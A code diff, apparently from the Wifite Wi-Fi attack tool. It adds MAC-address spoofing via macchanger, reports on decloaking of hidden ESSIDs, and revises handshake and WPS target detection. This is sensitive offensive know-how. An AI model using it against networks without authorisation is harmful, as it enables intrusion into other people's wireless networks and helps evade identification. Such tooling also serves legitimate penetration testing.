'-R', 'wlan.fc.type_subtype == 0x08 || wlan.fc.type_subtype == 0x05',
'-2', # tshark: -R without -2 is deprecated.
'-n'
]
proc = Process(cmd, devnull=False)
for line in proc.stdout().split('\n'):
# Extract src, dst, and essid
mac_regex = ('[a-zA-Z0-9]{2}:' * 6)[:-1]
match = re.search('(%s) -> (%s).*.*SSID=(.*)$'
match = re.search('(%s) [^ ]* (%s).*.*SSID=(.*)$'
% (mac_regex, mac_regex), line)
if match == None:
# Line doesn't contain src, dst, ssid
continue
(src, dst, essid) = match.groups()
if dst.lower() == "ff:ff:ff:ff:ff:ff": continue
if self.bssid:
# We know the BSSID, only return the ESSID for this BSSID.
if self.bssid.lower() == src.lower():
if self.bssid.lower() == src.lower() or self.bssid.lower() == dst.lower():
essids.add((src, essid))
else:
# We do not know BSSID, add it.
@@ -263,7 +265,7 @@ class Handshake(object):
hit_Target = False
else:
# Line does not contain AccessPoint
if hit_target and ', good,' in line:
if hit_target and ', good' in line:
bssid_essid_pairs.add( (current_bssid, current_essid) )
return [x for x in bssid_essid_pairs]

View File

@@ -90,7 +90,7 @@ class Interface(object):
output = Process(['ifconfig', iface]).stdout()
mac_regex = ('[a-zA-Z0-9]{2}-' * 6)[:-1]
match = re.search('HWaddr (%s)' % mac_regex, output)
match = re.search(' (%s)' % mac_regex, output)
if not match:
match = re.search('unspec (%s)' % mac_regex, output)
if not match:

82
py/Macchanger.py Normal file
View File

@@ -0,0 +1,82 @@
#!/usr/bin/python2.7
# -*- coding: utf-8 -*-
from Interface import Interface
from Color import Color
class Macchanger(object):
is_init = False
is_changed = False
original_mac = None
@classmethod
def init(cls):
if cls.is_init: return
from Configuration import Configuration
iface = Configuration.interface
if type(iface) == Interface:
iface = iface.name
cls.original_mac = Interface.get_mac(iface)
@classmethod
def down_macch_up(cls, macch_option):
cls.init()
from Process import Process
from Configuration import Configuration
iface = Configuration.interface
cmd = ["ifconfig", iface, "down"]
Color.clear_entire_line()
Color.p("\r{+} {C}macchanger{W}: Taking interface {C}%s{W} down..." % iface)
ifdown = Process(cmd)
ifdown.wait()
if ifdown.poll() != 0:
Color.pl("{!} {C}macchanger{W}: Error running %s" % " ".join(cmd))
Color.pl("{!} Output: %s, %s" % (ifdown.stdout(), ifdown.stderr()))
return False
cmd = ["macchanger", macch_option, iface]
Color.clear_entire_line()
Color.p("\r{+} {C}macchanger{W}: Changing MAC address of interface {C}%s{W}..." % iface)
macch = Process(cmd)
macch.wait()
if macch.poll() != 0:
Color.pl("{!} {C}macchanger{W}: Error running %s" % " ".join(cmd))
Color.pl("{!} Output: %s, %s" % (macch.stdout(), macch.stderr()))
return False
cmd = ["ifconfig", iface, "up"]
Color.clear_entire_line()
Color.p("\r{+} {C}macchanger{W}: Bringing interface {C}%s{W} up..." % iface)
ifup = Process(cmd)
ifup.wait()
if ifup.poll() != 0:
Color.pl("{!} {C}macchanger{W}: Error running %s" % " ".join(cmd))
Color.pl("{!} Output: %s, %s" % (ifup.stdout(), ifup.stderr()))
return False
return True
@classmethod
def reset(cls):
# --permanent to reset to permanent MAC address
if not cls.down_macch_up("-p"): return
Color.pl("\r{+} {C}macchanger{W}: Resetting MAC address...")
from Configuration import Configuration
new_mac = Interface.get_mac(Configuration.interface)
Color.clear_entire_line()
Color.pl("\r{+} {C}macchanger{W}: Reset MAC address back to {C}%s{W}" % new_mac)
@classmethod
def random(cls):
# Use --permanent to use random MAC address
if not cls.down_macch_up("-r"): return
cls.is_changed = True
from Configuration import Configuration
new_mac = Interface.get_mac(Configuration.interface)
Color.clear_entire_line()
Color.pl("\r{+} {C}macchanger{W}: Changed MAC address to {C}%s{W}" % new_mac)
@classmethod
def reset_if_changed(cls):
if not cls.is_changed: return
cls.reset()

View File

@@ -23,6 +23,7 @@ class Scanner(object):
self.targets = []
self.target = None # Specific target (based on ESSID/BSSID)
Color.pl("")
# Loads airodump with interface/channel/etc from Configuration
with Airodump() as airodump:
try:
@@ -48,11 +49,20 @@ class Scanner(object):
client_count = sum(
[len(t.clients)
for t in self.targets])
Color.p(
'\r{+} scanning, found' +
' {G}%d{W} target(s),' % target_count +
' {G}%d{W} clients.' % client_count +
' {O}Ctrl+C{W} when ready')
outline = "\r{+} Scanning"
if airodump.decloaking:
outline += " & decloaking"
outline += ". Found"
outline += " {G}%d{W} target(s)," % target_count
outline += " {G}%d{W} client(s)." % client_count
outline += " {O}Ctrl+C{W} when ready "
decloaked = airodump.decloaked_targets
if len(decloaked) > 0:
outline += "(decloaked"
outline += " {C}%d{W} ESSIDs:" % len(decloaked)
outline += " {G}%s{W}) " % ", ".join([x.essid for x in decloaked])
Color.clear_entire_line()
Color.p(outline)
sleep(1)
except KeyboardInterrupt:
pass
@@ -117,6 +127,7 @@ class Scanner(object):
Target.print_header()
for (index, target) in enumerate(self.targets):
index += 1
Color.clear_entire_line()
Color.pl(' {G}%s %s' % (str(index).rjust(3), target))
@staticmethod
@@ -125,6 +136,12 @@ class Scanner(object):
(rows, columns) = os.popen('stty size', 'r').read().split()
return int(rows)
@staticmethod
def get_terminal_width():
import os
(rows, columns) = os.popen('stty size', 'r').read().split()
return int(columns)
def select_targets(self):
''' Asks user to select target(s) '''
@@ -138,6 +155,7 @@ class Scanner(object):
+ " or you may have issues with your wifi card")
self.print_targets()
Color.clear_entire_line()
input_str = '{+} select target(s)'
input_str += ' ({G}1-%d{W})' % len(self.targets)
input_str += ' separated by commas, dashes'

View File

@@ -103,10 +103,12 @@ class Target(object):
power = Color.s('{%s}%s' % (color, power))
wps = Color.s('{O} n/a')
if self.wps:
if self.wps == True:
wps = Color.s('{G} yes')
else:
elif self.wps == False:
wps = Color.s('{R} no')
else:
wps = Color.s('{O} n/a')
clients = ' '
if len(self.clients) == 1:

View File

@@ -2,9 +2,11 @@
# -*- coding: utf-8 -*-
from Process import Process
import re
class Wash(object):
''' Wrapper for Wash program. '''
BSSID_REGEX = re.compile("([A-F0-9\:]{17})", re.IGNORECASE)
def __init__(self):
pass
@@ -30,24 +32,17 @@ class Wash(object):
command = [
'wash',
'-f', capfile, # Path to cap file
'-C' # Ignore Frame Check Sum errors
'-f', capfile # Path to cap file
]
p = Process(command)
for line in p.stdout().split('\n'):
# Ignore irrelevant lines
if line.strip() == '' or line.startswith('Scanning for'):
continue
bssid = line.split(' ')[0]
for t in targets:
if t.bssid.lower() == bssid.lower():
# Update the WPS flag
t.wps = True
# Mark other targets as "no" wps support
p.wait()
if p.poll() != 0:
return
bssids = [bssid.upper() for bssid in Wash.BSSID_REGEX.findall(p.stdout())]
for t in targets:
if t.wps: continue
t.wps = False
t.wps = t.bssid.upper() in bssids
if __name__ == '__main__':

View File

@@ -4,7 +4,7 @@
import sys
sys.path.insert(0, '..')
from Handshake import Handshake
from py.Handshake import Handshake
import unittest
@@ -20,7 +20,6 @@ class TestHandshake(unittest.TestCase):
def testAnalyze(self):
hs_file = self.getFile('handshake_exists.cap')
print hs_file
hs = Handshake(hs_file, bssid='A4:2B:8C:16:6B:3A')
try:
hs.analyze()

View File

@@ -1,7 +1,7 @@
#!/usr/bin/python2.7
# -*- coding: utf-8 -*-
from Airodump import Airodump
from py.Airodump import Airodump
import unittest